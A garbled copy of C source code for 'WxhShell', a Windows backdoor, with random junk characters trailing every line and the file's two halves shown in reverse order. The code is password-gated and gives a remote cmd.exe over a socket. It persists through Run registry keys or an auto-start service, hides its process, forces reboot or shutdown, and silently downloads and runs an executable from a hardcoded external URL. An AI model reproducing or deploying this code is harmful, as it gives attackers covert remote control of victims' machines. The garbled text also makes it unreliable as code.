    } ` =>}*GS  
    break; M13HD/~O  
    } VzP az\e  
  // 关机 p%Z:SZZ  
  case 'd': { +=3=%%?C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6X \g7bg  
    if(Boot(SHUTDOWN)) W;vNmg}mn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = s&Rk~2b/  
    else { xa~]t<2  
    closesocket(wsh); Qm%PpQ^Lz3  
    ExitThread(0); |bY@HpMp  
    } 1$>+rW{a  
    break; |[*Bn3E:  
    } f>N DtG.6  
  // 获取shell %2\Hj0JQQ  
  case 's': { <3;p>4gN  
    CmdShell(wsh); %O"8|ZG9{  
    closesocket(wsh); mO>L]<O  
    ExitThread(0); Pyo|Sgk  
    break; b:dN )m  
  } 6_j |@  
  // 退出  1MN!  
  case 'x': { U2 *ORd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R_!.vGhkN  
    CloseIt(wsh); 8SGaS&  
    break; 9wvlR6z;u  
    } QQ(}71U  
  // 离开 L+am-k:T~  
  case 'q': { 3Ua?^2l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); RzEzNV  
    closesocket(wsh); b#VtPn]  
    WSACleanup(); 3!CUJs/W  
    exit(1); I1Q!3P  
    break; ^hIdmTf6  
        } Z8|<%1Kge  
  } }v ZOPTP  
  } *1)>He$qL  
GJ ^c^`  
  // 提示信息 ]~TsmR[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XNz+a|cF  
} "aJHCi~l  
  } UL+Txc  
6D;N.wDZ  
  return; ]  ,|,/~  
} QaWS%0go  
1JJsYX  
// shell模块句柄 owAO&"C  
int CmdShell(SOCKET sock) $dL..QH^K  
{ y* +y&  
STARTUPINFO si; Y}?8  
ZeroMemory(&si,sizeof(si)); 9K+> ;`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4EB\R"rWXf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /_C2O"h  
PROCESS_INFORMATION ProcessInfo; =nEP:7~{  
char cmdline[]="cmd"; 4E$MhP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1!#N-^qk  
  return 0; `Q@7,z=f  
} eADCT  
8w0~2-v.?V  
// 自身启动模式 %8'8XDq^8  
int StartFromService(void) VBhUh~:Om  
{ oTw!#Re)  
typedef struct F? #3  
{  384n1?  
  DWORD ExitStatus; DH(<{ #u  
  DWORD PebBaseAddress; FQZ*i\G>>  
  DWORD AffinityMask;  TGCB=e  
  DWORD BasePriority; f{sT*_at  
  ULONG UniqueProcessId; j}+3+ 8D  
  ULONG InheritedFromUniqueProcessId; >ahDc!Jyu  
}   PROCESS_BASIC_INFORMATION; Y ;Ym=n'  
Xaq;d'  
PROCNTQSIP NtQueryInformationProcess; hkMeUxS  
0m@+ &X>w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -Jd|H*wWo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )qWwh)\;!  
pKSCC"i&j  
  HANDLE             hProcess; u?^V4 +V  
  PROCESS_BASIC_INFORMATION pbi; oRV}Nz7hr  
Rh=" <'d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e5L+NPeM6v  
  if(NULL == hInst ) return 0; l<=;IMWd  
cx\"r  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .;? Bni  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {U5sRM|I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pBsb>wvej  
dY1t3@E  
  if (!NtQueryInformationProcess) return 0; "zEl2Xn28_  
4 Gu'WbJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G%W9?4_K  
  if(!hProcess) return 0; RY-iFydPc  
%|-N{>wKy  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |XyX%5p*  
QPlU+5Cx  
  CloseHandle(hProcess); i<QDV W9  
"[) G{VzT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); egoR])2>  
if(hProcess==NULL) return 0; "{0G,tdA  
c{q+h V=  
HMODULE hMod; }Fe~XO`  
char procName[255]; BQu |qr q  
unsigned long cbNeeded; o[C^z7WG0  
r%,?uim#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N ,~O+  
{cK<iQJ  
  CloseHandle(hProcess); u0C:q`;z  
@*;x1A-]V  
if(strstr(procName,"services")) return 1; // 以服务启动 wkg4I.  
|#Gxqq'  
  return 0; // 注册表启动 5P,&VB8L  
} V?mP7  
bWFa{W5!  
// 主模块 ?ANW I8'_j  
int StartWxhshell(LPSTR lpCmdLine) ~f<'] zXv  
{ ~k*]Z8Z  
  SOCKET wsl; [ 8Ohg  
BOOL val=TRUE; /!6'K  
  int port=0;  3.&BhLT  
  struct sockaddr_in door; Iiy5;:CX:q  
9{Hs1 MD[  
  if(wscfg.ws_autoins) Install(); l+ }=D@l  
-E-#@s  
port=atoi(lpCmdLine); N_Us6 X  
G]lGoa}]`u  
if(port<=0) port=wscfg.ws_port; w2LnY1A  
.S` q2C\  
  WSADATA data; :V/".K-:J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6H#: rM  
wE .H:q4&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WK%cbFq(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % km <+F=~  
  door.sin_family = AF_INET; )*KMU?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m6Dm1'+  
  door.sin_port = htons(port); /@Lk H$  
-H?c4? 5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jWdviS9&g  
closesocket(wsl); `YOYC  
return 1; _}[ Du/c  
} M9"Bx/  
W;u.@I&  
  if(listen(wsl,2) == INVALID_SOCKET) { ,,H5zmgA  
closesocket(wsl); C:E f6ZW  
return 1; "P! .5B  
} f) sy-o!  
  Wxhshell(wsl); r-qe7K@p  
  WSACleanup(); #Xg;E3BM  
\8CCa(H  
return 0; 'F W?   
>a"J);p  
} Dk  `&tr  
4"&-a1N  
// 以NT服务方式启动 ay8]"sa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MlV(XG>'  
{ ,_V V;P  
DWORD   status = 0; |\(uO|)ju  
  DWORD   specificError = 0xfffffff; .}__XWK5  
QE]'Dc%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s&7 3g0$$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0|e[o"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dGZie .Zx  
  serviceStatus.dwWin32ExitCode     = 0; e-dkvPr  
  serviceStatus.dwServiceSpecificExitCode = 0; >a8iY|QY  
  serviceStatus.dwCheckPoint       = 0; ,dRaV</2  
  serviceStatus.dwWaitHint       = 0; M`Y^hDl6  
 'z} t= ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (.-4Jn  
  if (hServiceStatusHandle==0) return; N,Y)'s<  
^Iw$ (  
status = GetLastError(); j\C6k  
  if (status!=NO_ERROR) $>)0t@[f  
{ 9=j9vBV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oN032o?S  
    serviceStatus.dwCheckPoint       = 0; TgkVd]4%  
    serviceStatus.dwWaitHint       = 0; 6]7csOE  
    serviceStatus.dwWin32ExitCode     = status; .SC *!,  
    serviceStatus.dwServiceSpecificExitCode = specificError; xs= ~N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y j oe|  
    return; <Km9Mq  
  } 4  OPY  
*'((_ NZ>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [t4v/vQT  
  serviceStatus.dwCheckPoint       = 0; sVyV|!K  
  serviceStatus.dwWaitHint       = 0; r;Sk[Y5#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u=:f%l  
} /+*"*Br/  
bZ* = fdh  
// 处理NT服务事件,比如:启动、停止 u99a"+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _xKn2?d8g  
{  7)2K6<q  
switch(fdwControl) )oIh?-WL  
{ Pb&tWv\ql  
case SERVICE_CONTROL_STOP: sK2N3 B&6  
  serviceStatus.dwWin32ExitCode = 0; -6[DQB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v,<14w  
  serviceStatus.dwCheckPoint   = 0; R"W}\0k  
  serviceStatus.dwWaitHint     = 0; Lt*P&  
  { G9:XEEN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %bnXZA2Sx  
  } svpQ.Q  
  return; H<d~AurX)J  
case SERVICE_CONTROL_PAUSE: 7d;|?R-8D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HzTmNm)  
  break; ,AnD%#o  
case SERVICE_CONTROL_CONTINUE: ]}3s/NJi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \_Bj"K  
  break; P j   
case SERVICE_CONTROL_INTERROGATE: C|ZPnm>f30  
  break; G)am ng/  
};  sS-dHa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  9q"kM  
} 4l 67B]o  
x9YQd69  
// 标准应用程序主函数 $toTMah w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qFmw9\Fn  
{ )] @h}K}  
'rB% a<  
// 获取操作系统版本 ]oP1c-GEk  
OsIsNt=GetOsVer(); !|[rh,e]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;1(^H:7T  
of B:7  
  // 从命令行安装 RHUZ:r  
  if(strpbrk(lpCmdLine,"iI")) Install(); >~o- 6g  
GK$[!{w;  
  // 下载执行文件 TUfj\d,  
if(wscfg.ws_downexe) { v0DDim?cc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /p !A:8  
  WinExec(wscfg.ws_filenam,SW_HIDE); bWTf P8gT  
} aqON6|6K  
) H,Xkex  
if(!OsIsNt) { w<(ubR %$  
// 如果时win9x,隐藏进程并且设置为注册表启动 uSfHlN4l  
HideProc(); !1l~UB_  
StartWxhshell(lpCmdLine); n3iiW \  
} `*s:[k5k  
else  \0)jWCK  
  if(StartFromService()) vhBW1/w&F  
  // 以服务方式启动 G^.N$wcv  
  StartServiceCtrlDispatcher(DispatchTable); IR-n:z  
else \V-N~_-H  
  // 普通方式启动 )ce 6~   
  StartWxhshell(lpCmdLine); 0he3[m}Nr  
u''Ce`N  
return 0; #*g=F4>t  
} j4/[Z'5ny  
s!IIvF  
3-/|G-4k7  
]y@A=nR  
=========================================== Da-Lf2qT9  
x?L[*N_ml  
FJ3S  
@1*^ttC  
3L&:  
3m>YR-n$  
" 7${<u0((!  
# 55>?  
#include <stdio.h> i(.e=  
#include <string.h> D /QLp3+o  
#include <windows.h> F{x+1hct0  
#include <winsock2.h> 3X gJZ  
#include <winsvc.h> t 'eaR-  
#include <urlmon.h> Wk[a|>  
BgXZr,?  
#pragma comment (lib, "Ws2_32.lib") 6l\5J6x  
#pragma comment (lib, "urlmon.lib") rg^\gE6_  
L"b&O<N o  
#define MAX_USER   100 // 最大客户端连接数 Bt<)1_  
#define BUF_SOCK   200 // sock buffer S)U*1t7[  
#define KEY_BUFF   255 // 输入 buffer kp*v:*  
I# tlaz#  
#define REBOOT     0   // 重启 -DkD*64wu  
#define SHUTDOWN   1   // 关机 1ui)Hv=h*  
UBwl2Di  
#define DEF_PORT   5000 // 监听端口 f ./K/  
ZVXPp -M  
#define REG_LEN     16   // 注册表键长度 H_?rbz}o  
#define SVC_LEN     80   // NT服务名长度 z"4 q%DC  
5Cdn j  
// 从dll定义API ]o'o v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &GLDoLk6[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MG=E 6:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w'TAM"D`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T1C_L?L  
:Q`Of}#  
// wxhshell配置信息 Q+Bl1xl  
struct WSCFG { 'APx  
  int ws_port;         // 监听端口 /#00'(oD  
  char ws_passstr[REG_LEN]; // 口令 I~6) Gk&  
  int ws_autoins;       // 安装标记, 1=yes 0=no CQ2vFg3+o  
  char ws_regname[REG_LEN]; // 注册表键名 wa[L[mw  
  char ws_svcname[REG_LEN]; // 服务名 ,SIS3A>s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 c 4AJ`f.5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 naR<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d`/8Q9tQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wh(_<VZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $UzSPhv[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EGl<oxL*R2  
ZS.=GjK  
}; M@T{uo  
v-#,@&Uwq  
// default Wxhshell configuration )+L|<6JXA  
struct WSCFG wscfg={DEF_PORT,  Gsh9D  
    "xuhuanlingzhe", 54p{J  
    1, Z'i@;^=A  
    "Wxhshell", +QN4hJK  
    "Wxhshell", c+ZOC8R  
            "WxhShell Service", ?!Y_w2  
    "Wrsky Windows CmdShell Service", Z#}sK5s  
    "Please Input Your Password: ", %UI^+:C  
  1, j/aJDE(+  
  "http://www.wrsky.com/wxhshell.exe", fizW\f8ai  
  "Wxhshell.exe" & R_?6*n  
    }; 9Y3"V3EZ  
qU#A,%kcV  
// 消息定义模块 .'`aX 7{\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; u.yR oZ8/!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U$5x#{AFp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O\Huj=  
char *msg_ws_ext="\n\rExit."; J=-z~\f56  
char *msg_ws_end="\n\rQuit."; ;87PP7~  
char *msg_ws_boot="\n\rReboot..."; 6'r;6T *  
char *msg_ws_poff="\n\rShutdown..."; 'ayb`  
char *msg_ws_down="\n\rSave to "; f(y+1  
[0Xuo  
char *msg_ws_err="\n\rErr!"; GFT@Pqq  
char *msg_ws_ok="\n\rOK!"; _S) K+C|@  
frcX'M}%  
char ExeFile[MAX_PATH]; K3mP6Z#2  
int nUser = 0; ! \s}A7  
HANDLE handles[MAX_USER]; a &tWMxBr  
int OsIsNt; B=]j=\o  
)M<+?R$];  
SERVICE_STATUS       serviceStatus; mP*$wE9b,:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y`j_]qvt  
|-ZML~2S=h  
// 函数声明 vP,pK=5  
int Install(void); Zd-qBOB2L  
int Uninstall(void); =bh: U90y  
int DownloadFile(char *sURL, SOCKET wsh); 1{M?_~g 4  
int Boot(int flag); y CHOg  
void HideProc(void); L-- t(G  
int GetOsVer(void); r]Hrz'C`  
int Wxhshell(SOCKET wsl); , LwinjHA*  
void TalkWithClient(void *cs); ,<Cl^ ^a,  
int CmdShell(SOCKET sock); -,/7u3  
int StartFromService(void); 0y|1@CS  
int StartWxhshell(LPSTR lpCmdLine); ';G/,wB?`  
bqH [-mu6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -o~zb-E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J3y _JoS  
uNI&U7_"  
// 数据结构和表定义 *m]Y6  
SERVICE_TABLE_ENTRY DispatchTable[] = {*;8`+R&  
{ K\ Wzh;  
{wscfg.ws_svcname, NTServiceMain}, g#i~^4-1  
{NULL, NULL} 3chx 4  
}; WzFXF{(  
A!GvfmzqIn  
// 自我安装 CE M4E  
int Install(void) I'IFBVhaYn  
{ GDCp@%xW  
  char svExeFile[MAX_PATH]; ;#zteqn  
  HKEY key; 4Yvz-aSyO  
  strcpy(svExeFile,ExeFile); c9c]1XJ  
#jBmWaP.  
// 如果是win9x系统,修改注册表设为自启动 HIw)HYF 2  
if(!OsIsNt) { s YTJ^Kd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T%.Y so{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DSHvBFQ  
  RegCloseKey(key); ^GV'Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =( ZOn=IL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 346 z`5  
  RegCloseKey(key); "yH?df24  
  return 0; !r.-7hR$  
    } D'[:35z  
  } wDi/oH/H  
} vKnZ==B  
else { *JImP9SE  
mD> J,E  
// 如果是NT以上系统,安装为系统服务 f-#:3k*7S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PI L)(%X  
if (schSCManager!=0) vFHeGq70j  
{ `=;}I@]zj)  
  SC_HANDLE schService = CreateService #qVvh3#g  
  ( w &YUb,{Y  
  schSCManager, ?J6Ek*E#  
  wscfg.ws_svcname,  #NyO'  
  wscfg.ws_svcdisp, W\j'8^kI9  
  SERVICE_ALL_ACCESS,  I wj[ ^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L[44D6Vg  
  SERVICE_AUTO_START, \V'fB5  
  SERVICE_ERROR_NORMAL, Ag T)J  
  svExeFile, Mh3.GpS  
  NULL, ?IeBo8  
  NULL, t$qIJt$  
  NULL, 7}qxWz  
  NULL, |}^u<S8X  
  NULL W0x9^'=s\  
  ); v8)wu=u  
  if (schService!=0) Ib{#dhV  
  { 8Mtd}{Fw*  
  CloseServiceHandle(schService); hTO5*5]0zP  
  CloseServiceHandle(schSCManager); m^BXLG:b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t0cS.hi  
  strcat(svExeFile,wscfg.ws_svcname); sh,4n{+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RCa1S^.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e\(X:T  
  RegCloseKey(key); aVHID{Gf Z  
  return 0; +uF}mZ S^  
    } \a0{9Xx F  
  } ir}*E=*  
  CloseServiceHandle(schSCManager); u0) O Fz  
} Vxrj(knck,  
} M&=SvM.f  
7]So=% q  
return 1; bkR~>F]FAu  
} 0-OKbw5%=b  
CC@U'9]bH  
// 自我卸载 &b~ X&{3,  
int Uninstall(void) D4"<suU|.  
{ vD2(M1Q  
  HKEY key; S7j(4@  
`[E-V  
if(!OsIsNt) { {pi_yr3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p".wqg*W  
  RegDeleteValue(key,wscfg.ws_regname); q%k&O9C2]  
  RegCloseKey(key); CUdpT$$x3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .>,Y |  
  RegDeleteValue(key,wscfg.ws_regname); _3u3b/%J?  
  RegCloseKey(key); `Gxb98h/r  
  return 0; [e\IHakj  
  } 5WHqD!7u  
} ~9@527m<',  
} U*N{H$ACuR  
else { 6qQ_I 0f  
x| D|d}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |,KsJ2hD  
if (schSCManager!=0) (' %Y3z;  
{ 8d1qRCIz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yL<u>S0  
  if (schService!=0) BGVnL}0  
  { GLub5GrxR  
  if(DeleteService(schService)!=0) { 7H6Ge-u  
  CloseServiceHandle(schService); <:(;#&<  
  CloseServiceHandle(schSCManager); d|87;;X|u  
  return 0; VJA/d2Oys  
  } LIJ#nb  
  CloseServiceHandle(schService); !iHC++D  
  } NG\'Ii:-J  
  CloseServiceHandle(schSCManager); e|SN b*_  
} o=7e8l  
} .|DrXJ \c  
5m@'( ] j  
return 1; ?~sNu k  
} +MYrNR.p  
5s%e9x|kP  
// 从指定url下载文件 cJ?,\@uuP  
int DownloadFile(char *sURL, SOCKET wsh) FW2x  
{ ( !m6>m2  
  HRESULT hr; Qa2p34Z/  
char seps[]= "/"; 4uE )*1  
char *token; :Eh}]_  
char *file; GXLh(d!C  
char myURL[MAX_PATH]; uZf 6W<a  
char myFILE[MAX_PATH]; ~tL:r=  
B<myt79F_[  
strcpy(myURL,sURL); JSq3)o9?/  
  token=strtok(myURL,seps); REcKfJTj  
  while(token!=NULL) bFG?mG:  
  { {[bpvK  
    file=token; pi70^`@'B  
  token=strtok(NULL,seps); [Djx@x  
  } | Wj=%Ol%o  
' 8R5 Tl  
GetCurrentDirectory(MAX_PATH,myFILE);  $AZ=;iP-  
strcat(myFILE, "\\"); g;q.vHvsc"  
strcat(myFILE, file); @b2?BSdUp  
  send(wsh,myFILE,strlen(myFILE),0); 1Xh@x  
send(wsh,"...",3,0); fwx^?/5j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t0xE&#4  
  if(hr==S_OK) W}7Uh b  
return 0; 6o]{< T/'  
else ',|OoxhbK  
return 1; M a{@b$>  
ET H ($$M  
} y_Gs_xg  
2S:B%cj9m  
// 系统电源模块 m'G=WO*%  
int Boot(int flag) mJ[_q >  
{ @az<D7j2  
  HANDLE hToken; U![$7k>,pr  
  TOKEN_PRIVILEGES tkp; Dbx zqd  
n0K+/}m  
  if(OsIsNt) { J_XkQR[Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B1I{@\z0G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @yQ1F> t  
    tkp.PrivilegeCount = 1; xU{0rM"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dB&<P[$+8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FKe/xz  
if(flag==REBOOT) { ,T ^A?t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DqI"B  
  return 0; "9X(.v0ze  
} Jv%)UR.]  
else { qv2J0'd'.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VWYNq^<AT  
  return 0; e<8KZ  
} W?N+7_%'  
  } _TJk Yz$  
  else { Z,-TMtM7  
if(flag==REBOOT) { :vS/Lzk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Hit )mwfYE  
  return 0; z#n+iC$9  
} SEu:31k{o  
else {  SN}3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xrc{w Dn  
  return 0; -nD} k  
} WU/5i 8  
} hp7ni1V  
*.A-UoHa  
return 1; (KvN#d 1\  
} BHkicb?   
@C('kUX~!  
// win9x进程隐藏模块 u ^2/:L  
void HideProc(void) JHg;2xm"<K  
{ 8A*tpMV?J  
i$:yq.DW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fI.X5c>WK  
  if ( hKernel != NULL ) a>ye  
  { kA2)T,s74  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HFYe@2r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RN&8dsreZp  
    FreeLibrary(hKernel); z>=;Xe8P8n  
  } sUk n.g!  
W=#jtU`:5  
return; gId :IR  
} 'Vhnio;qC  
8[ ZuVJ]  
// 获取操作系统版本 ) 5x$J01S  
int GetOsVer(void) fkk9&QB%(  
{ iP9Dr<P  
  OSVERSIONINFO winfo; Y{t}sO%A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _?$')P|  
  GetVersionEx(&winfo); z,!A4ws  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @P=n{-pIW  
  return 1; 6@d/k.3p  
  else Y'}c$*OkI  
  return 0; :4\_upRE  
} h7xgLe@  
h-m0Ro?6  
// 客户端句柄模块 h,/3 }  
int Wxhshell(SOCKET wsl) a94 nB  
{ ep l1xfr  
  SOCKET wsh; O "Aeg|  
  struct sockaddr_in client; -O@/S9]S)  
  DWORD myID; 6hFs{P7  
"`pg+t&  
  while(nUser<MAX_USER) zR=g<e1xe  
{ bDegIW/'w  
  int nSize=sizeof(client); 6Tq2WZ}<'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pi%-bD/w  
  if(wsh==INVALID_SOCKET) return 1; V Kc`mE  
O=u.J8S2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :19s=0  
if(handles[nUser]==0) {D]I[7f8Ev  
  closesocket(wsh); N B8Yn\{B  
else u)D!RhV&  
  nUser++; 7i=ER*F~  
  } 'Rv.6>xqc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B\dhw@hM  
L'"od;(6R  
  return 0; 0U2dNLc  
} K=P LOC5  
C+C1(b;1  
// 关闭 socket 0.wN&:I8t  
void CloseIt(SOCKET wsh) L_=3`xE _  
{ ^<aj~0v  
closesocket(wsh); ,(+ZD@Rg  
nUser--; s21)*d  
ExitThread(0); 2%pe.s tQ  
} `ih#>i_ &  
'?E@H.""  
// 客户端请求句柄 *m 6*sIR  
void TalkWithClient(void *cs) n8&x=Z}Xs  
{ ~}G#ys\1  
6x@]b>W  
  SOCKET wsh=(SOCKET)cs; c[?&;# feV  
  char pwd[SVC_LEN]; 1fh6A`c  
  char cmd[KEY_BUFF]; u/`x@u  
char chr[1]; Ap}`Q(.  
int i,j; _`9WNJiL  
uVw|jj  
  while (nUser < MAX_USER) { S.owVMQ  
<FvljKuq+  
if(wscfg.ws_passstr) {  8KzH -  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _<)HFg6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =?hbi]  
  //ZeroMemory(pwd,KEY_BUFF); H|cxy?iJ  
      i=0; 1a#R7chl  
  while(i<SVC_LEN) { ve*6WDK,H  
)U2%kmt  
  // 设置超时 Z1DF)  
  fd_set FdRead; &Qv%~dvW  
  struct timeval TimeOut; sDy~<$l?  
  FD_ZERO(&FdRead); cdfnM%`>\  
  FD_SET(wsh,&FdRead);  Z Mf,3  
  TimeOut.tv_sec=8; * \ tR  
  TimeOut.tv_usec=0; N)YoWA>#bF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :-b-)*TC;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7"{CBbT  
@])}+4D(S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \@j3/!=,n%  
  pwd=chr[0]; &$pA,Gjin\  
  if(chr[0]==0xd || chr[0]==0xa) { i]zTY\gw8M  
  pwd=0; uU8L93  
  break; ,j[1!*Z_[  
  } X*M--*0q'  
  i++; j1dz'G}hj  
    } w8-L2)Q}I  
RSF@Oo{  
  // 如果是非法用户,关闭 socket CSE!Abg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  w"h'rw  
} m^a0JR}u9  
-k3WY&9,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]8XIw`:f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zS}!87r)  
@<p9 O0  
while(1) { 3T@`V FbE  
<kWNx.eci  
  ZeroMemory(cmd,KEY_BUFF); R!_1*H$  
1++Fs  
      // 自动支持客户端 telnet标准   atfK?VK#  
  j=0; \ id(P3M  
  while(j<KEY_BUFF) { FVoKNaK-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); + hMF\@  
  cmd[j]=chr[0]; NJ!}(=1|K  
  if(chr[0]==0xa || chr[0]==0xd) { D+Z,;XZ  
  cmd[j]=0; vP/sG5$x  
  break; 1);E!D[  
  } G)7J$4R  
  j++; hmtDw,j  
    } ! 9=Y(rb  
6E:5w9_=c  
  // 下载文件 r Ww.(l  
  if(strstr(cmd,"http://")) { izr 3{y5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X#u< 3<P  
  if(DownloadFile(cmd,wsh)) `qr.@0whP  
